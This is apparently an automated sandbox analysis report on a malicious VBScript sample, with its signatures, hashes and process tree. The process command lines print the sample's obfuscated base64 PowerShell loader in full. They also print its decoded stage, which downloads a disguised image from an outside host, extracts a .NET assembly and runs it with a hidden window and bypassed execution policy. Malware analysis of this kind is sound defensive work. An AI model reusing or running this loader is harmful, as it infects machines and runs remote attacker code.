Overview

overview

10

Static

static

1

jaffacakes...4a.vbs

windows10-2004-x64

10

jaffacakes...4a.vbs

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 06:02

Sharing

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Report Analysis Logs

General

  • Target
    jaffacakes118_305474f9d31d9b26b71610ac07cf315f3d7740f578e0d66a2db38587cb5d884a.vbs
  • Size 287KB
  • Sample261002-grqf6azgre
  • SHA256 305474f9d31d9b26b71610ac07cf315f3d7740f578e0d66a2db38587cb5d884a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • ps1.dropper

    https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855
  • exe.dropper

    https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_305474f9d31d9b26b71610ac07cf315f3d7740f578e0d66a2db38587cb5d884a.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 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Chr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBuChr(63)&Chr(63)GcChr(63)&Chr(63)bwBvChr(63)&Chr(63)G0Chr(63)&Chr(63)aQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)OChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DIChr(63)&Chr(63)LgChr(63)&Chr(63)xChr(63)&Chr(63)DUChr(63)&Chr(63)LgChr(63)&Chr(63)2Chr(63)&Chr(63)DcChr(63)&Chr(63)LgChr(63)&Chr(63)wChr(63)&Chr(63)DgChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4192
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.ngoomis/842.15.67.08//:ptth');$method.Invoke($null, $arguments)"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2484

Network

        MITRE ATT&CK Enterprise v16

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        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
        • MD5 SHA1 SHA512
        Submit Download

        __PSScriptPolicyTest_m2clweuh.b0h.psm1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m2clweuh.b0h.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2484-25-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/2484-24-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/2484-20-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/2484-18-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/2484-17-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/2484-16-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-7-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-12-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-13-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-14-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-15-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-9-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-8-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-0-0x00007FF82140F000-0x00007FF821410000-memory.dmp
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        memory/4192-5-0x0000016747310000-0x0000016747332000-memory.dmp
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        memory/4192-6-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-23-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-2-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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        memory/4192-1-0x00007FF821280000-0x00007FF821C24000-memory.dmp
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